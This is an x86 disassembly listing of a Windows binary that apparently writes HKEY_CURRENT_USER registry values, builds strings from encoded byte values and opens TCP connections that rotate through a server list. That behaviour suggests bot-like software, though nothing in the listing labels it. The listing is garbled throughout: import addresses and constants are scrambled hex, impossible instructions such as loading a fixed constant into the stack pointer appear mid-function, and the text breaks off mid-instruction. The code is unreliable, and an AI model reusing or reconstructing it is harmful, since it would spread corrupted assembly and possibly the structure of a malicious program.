push eax push 0 push 65E17Bh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_401726 push eax push 80000001h call esi mov ecx, edi call sub_4015F5 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 72F0BDh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_401726 push eax push 80000001h call esi mov ecx, edi call sub_4015F5 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_4011F9 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_4011F9 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_4011F9 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40D530 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D9C0 proc near ; CODE XREF: sub_401442j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 39785Eh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_4013CF push 5CBC2Fh push 2E5E17h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401B40 push eax call dword ptr ds:172F0Bh lea ecx, [esp+5Ch+var_3C] call sub_4013CF mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_401726 push eax lea ecx, [esp+60h+var_24] call sub_401726 push eax lea eax, [esp+64h+var_3C] push offset byte_4B9785 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_4013CF lea ecx, [esp+5Ch+var_54] push 25CBC2h push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_401FC8 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_4011F9 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_4011F9 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40D9C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB00 proc near ; CODE XREF: sub_401FC8j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push 52E5E1h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 2972F0h push 14B978h mov [esp+5Ch+var_44], ecx push 0 call dword ptr ds:0A5CBCh mov edi, eax test edi, edi jnz short loc_40DB3F xor al, al jmp loc_40DC90 ; --------------------------------------------------------------------------- loc_40DB3F: ; CODE XREF: sub_40DB00+36j lea ecx, [esp+54h+var_24] call sub_4013CF mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_401726 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_401726 push eax lea eax, [esp+5Ch+var_24] push offset word_452E5E push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_401726 push eax push 1 push 2 push 20h push 62972Fh mov ecx, 6D8A5Ch call sub_401726 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_401726 push eax push edi call dword ptr ds:36C52Eh mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40DC25 call dword ptr ds:5B6297h sub eax, 16D8A5h jnz short loc_40DC09 mov ecx, [esp+50h+var_40] push ebp call sub_40186B mov esi, ds:dword_4B3760 push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_401442 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, bl jmp loc_40DC90 ; --------------------------------------------------------------------------- loc_40DC09: ; CODE XREF: sub_40DB00+CBj push edi call dword ptr ds:0B6C52h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al jmp short loc_40DC90 ; --------------------------------------------------------------------------- loc_40DC25: ; CODE XREF: sub_40DB00+BEj lea edx, [esp+50h+var_34] mov dword ptr [esp+50h+var_30], ecx mov [esp+50h+var_2C], ecx push edx mov edx, 0B6C5h or ebx, 0FFFFFFFFh lea ecx, [esp+54h+var_3C] push 2 push esi mov [esp+5Ch+var_38], eax mov [esp+5Ch+var_3C], eax mov [esp+5Ch+var_34], ebx mov [esp+5Ch+var_28], eax mov [esp+5Ch+var_24], ecx call large dword ptr ds:5B62h test eax, eax push esi mov esi, ds:dword_4B3760 jnz short loc_40DC7C call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_4011F9 xor al, al jmp short loc_40DC90 ; --------------------------------------------------------------------------- loc_40DC7C: ; CODE XREF: sub_40DB00+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_4011F9 mov al, 1 loc_40DC90: ; CODE XREF: sub_40DB00+3Aj ; sub_40DB00+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40DB00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DD20 proc near ; CODE XREF: sub_40186Bj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push offset byte_402DB1 push 6016D8h push 0 call dword ptr ds:700B6Ch mov edi, eax test edi, edi jnz short loc_40DD47 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40DD47: ; CODE XREF: sub_40DD20+1Bj mov ecx, [esp+24h+arg_0] push 7805B6h call sub_401726 push eax push edi call dword ptr ds:7C02DBh mov esi, eax test esi, esi jnz short loc_40DD74 push edi call dword ptr ds:3E016Dh pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40DD20+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi call dword ptr ds:5F00B6h push esi call dword ptr ds:6F805Bh push esi mov esi, ds:dword_4B3760 call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40DD20 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DDC0 proc near ; CODE XREF: sub_401E5Bj arg_0 = dword ptr 4 push esi push 37C02Dh push 5BE016h push 0 call dword ptr ds:2DF00Bh mov esi, eax test esi, esi jnz short loc_40DDDF xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40DDDF: ; CODE XREF: sub_40DDC0+17j mov ecx, [esp+4+arg_0] push 56F805h call sub_401726 push eax push esi call dword ptr ds:6B7C02h test eax, eax jnz short loc_40DE06 push esi call dword ptr ds:75BE01h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40DE06: ; CODE XREF: sub_40DDC0+37j push edi mov edi, ds:dword_4B3760 push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40DDC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DE40 proc near ; CODE XREF: sub_401E7Ej arg_0 = dword ptr 4 push esi push edi push 3ADF00h push 1D6F80h push 0 call dword ptr ds:4EB7C0h mov edi, eax test edi, edi jnz short loc_40DE61 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40DE61: ; CODE XREF: sub_40DE40+18j mov ecx, [esp+8+arg_0] push 275BE0h call sub_401726 push eax push edi call dword ptr ds:13ADF0h mov esi, eax test esi, esi jnz short loc_40DE8B push edi call dword ptr ds:9D6F8h pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40DE8B: ; CODE XREF: sub_40DE40+3Bj push 0 push 0 push esi call ds:dword_44EB7C push esi mov esi, ds:dword_4B3760 call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40DE40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40DED0: ; CODE XREF: _294ADE7B:loc_40144Cj mov eax, large fs:0 push 0FFFFFFFFh push 6275BEh push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_40DFCA push 1 push 713ADFh lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011C2 push 1 push 389D6Fh lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011C2 lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_40168B test al, al jz short loc_40DF96 lea ecx, [esp+0Ch] call sub_401726 push eax lea ecx, [esp+28h] call sub_401726 push eax push 1C4EB7h lea ecx, [esi+69h] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push 0E275Bh call sub_40178F add esp, 1Ch loc_40DF96: ; CODE XREF: _294ADE7B:0040DF57j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_4011F9 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_4011F9 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40DFCA: ; CODE XREF: _294ADE7B:0040DF06j lea ecx, [edi+47h] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_40E069 push 1 push offset byte_4713AD lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011C2 lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_4013F2 test al, al jz short loc_40E042 lea ecx, [esp+24h] call sub_401726 push eax push 6389D6h lea ecx, [esi+69h] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push 71C4EBh call sub_40178F add esp, 18h loc_40E042: ; CODE XREF: _294ADE7B:0040E00Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_4011F9 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40E069: ; CODE XREF: _294ADE7B:0040DFDCj lea ecx, [edi+75h] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_40E17F push 1 push 38E275h lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011C2 push 1 push 1C713Ah lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011C2 push 1 push 4E389Dh lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011C2 lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_401FC8 test al, al jz short loc_40E13D lea ecx, [esp+24h] call sub_401726 push eax lea ecx, [esp+10h] call sub_401726 push eax lea ecx, [esp+44h] call sub_401726 push eax push 671C4Eh lea ecx, [esi+69h] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push 338E27h call sub_40178F add esp, 20h loc_40E13D: ; CODE XREF: _294ADE7B:0040E0F4j lea ecx, [esp+24h] mov [esp+74h], bl call sub_4011F9 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_4011F9 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_4011F9 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40E17F: ; CODE XREF: _294ADE7B:0040E07Bj lea ecx, [edi+0A3h] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_40E221 push 1 push 19C713h lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011C2 lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_40186B test al, al jz short loc_40E1FA lea ecx, [esp+54h] call sub_401726 push eax push 4CE389h lea ecx, [esi+69h] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push 6671C4h call sub_40178F add esp, 18h loc_40E1FA: ; CODE XREF: _294ADE7B:0040E1C5j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_4011F9 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40E221: ; CODE XREF: _294ADE7B:0040E194j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E320 proc near ; CODE XREF: sub_401BE0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call dword ptr ds:3338E2h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40E320 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E390 proc near ; CODE XREF: sub_401609j var_2A = byte ptr -2Ah var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 199C71h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401D2F lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_401190 lea ebp, [esi+28h] mov ecx, ebp call sub_4013CF lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_4013CF lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_4016A9 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_4016A9 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_4016A9 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_4016A9 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_4016A9 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_4016A9 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_4016A9 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_4016A9 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_4016A9 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_4016A9 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_4016A9 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_4016A9 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_4016A9 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_4016A9 lea eax, [esp+13h] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_401686 mov dword ptr [edi], offset off_437034 mov bl, 11h xor edi, edi push 0CCE38h mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_437028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_401564 call dword ptr ds:6671Ch push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_401726 push eax push offset byte_43338E call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4018DE add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_401726 push eax push 6199C7h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_401726 push eax push 70CCE3h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4018DE add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_401726 push eax push 386671h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4018DE add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_401726 push eax push 1C3338h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4018DE add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_401726 push eax push 0E199Ch call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4018DE add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_401726 push eax push offset word_470CCE call sub_401BE0 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_4011F9 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_401726 push eax push 638667h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 2Dh push 2Dh loc_40E70F: ; DATA XREF: sub_404890+AB3o push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_401726 push eax push 31C333h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_401726 push eax push 58E199h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_401726 push eax push 2C70CCh call sub_401BE0 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_4011F9 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4018DE add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_401726 push eax push 163866h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_401726 push eax push 0B1C33h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_401726 push eax push offset byte_458E19 call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_401726 push eax push 62C70Ch call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi loc_40E8B4: ; DATA XREF: _294ADE7B:0040A4D1o push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4018DE add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_401726 push eax push 316386h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4018DE add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_401726 push eax push 18B1C3h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4018DE add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_401726 push eax push 4C58E1h call sub_401BE0 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_4011F9 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40E390 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EB00 proc near ; CODE XREF: sub_401FA0j var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push 262C70h push eax mov ecx, 874C58h mov large fs:0, esp call sub_430390 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_4013CF mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_40FED0 loc_40EB42: ; CODE XREF: sub_40EB00+13CAj mov al, ds:byte_499254 mov edi, ds:dword_4B38D0 cmp al, bl jz loc_40FED0 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40EB6A cmp dword ptr [ebp+1Ch], 5 jg short loc_40EB74 cmp eax, ebx jz loc_40ECAE loc_40EB6A: ; CODE XREF: sub_40EB00+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_40ECAE loc_40EB74: ; CODE XREF: sub_40EB00+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40EB89 push eax call ds:dword_4BA62C loc_40EB89: ; CODE XREF: sub_40EB00+80j mov edx, offset byte_465D31 mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_4014CE mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_40189D mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_40EBB9 mov [ebp+20h], ebx loc_40EBB9: ; CODE XREF: sub_40EB00+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_401415 mov ecx, [eax] add ecx, 16Dh push ecx push 2B2E98h mov esp, 4CACBAh call sub_401DED mov edx, [ebp+20h] mov ecx, esi push edx call sub_401415 mov eax, [eax] mov edi, 64CACBh add eax, 1B6h push eax push 3A6565h call sub_401DED mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401415 mov edx, [eax] mov esi, 5D32Bh loc_40EC13: ; DATA XREF: sub_40EB00+7CCo push edx push 2E995h call sub_401DED mov eax, [ebp+20h] mov ecx, esi push eax call sub_401415 mov ecx, [eax] add ecx, 124h push ecx push 174CAh mov ecx, 20174Ch call sub_401DED mov edx, [ebp+20h] mov ecx, esi push edx call sub_401415 mov eax, [eax] mov esp, 0E180BAh add eax, 0DBh push eax push 78C05Dh call sub_401DED mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401415 mov edx, [eax] mov ebp, 0A7C602h add edx, 92h push edx push 5BE301h call sub_401DED mov eax, [ebp+20h] mov ecx, esi push eax call sub_401415 mov ecx, [eax] add ecx, 1FFh push ecx push 6DF180h mov eax, 8D1B7Ch call sub_401DED call edi mov [ebp+24h], eax loc_40ECAE: ; CODE XREF: sub_40EB00+64j ; sub_40EB00+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_40ECD8 push 6 push 1 push 2 call dword ptr ds:4E8DBEh push 2746DFh mov [ebp+18h], eax mov [ebp+15h], bl call dword ptr ds:53A36Fh jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40ECD8: ; CODE XREF: sub_40EB00+1B4j cmp [ebp+15h], bl jnz loc_40EE68 mov ax, ds:word_4401C4 xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx call dword ptr ds:69D1B7h mov ebp, 0EFA746h mov [esp+24h+arg_1E], ax call sub_401726 push eax call sub_4017C1 add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax call dword ptr ds:7FD3A3h cmp eax, 0FFFFFFFFh jnz short loc_40ED58 push 7FE9D1h call dword ptr ds:7FF4E8h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov 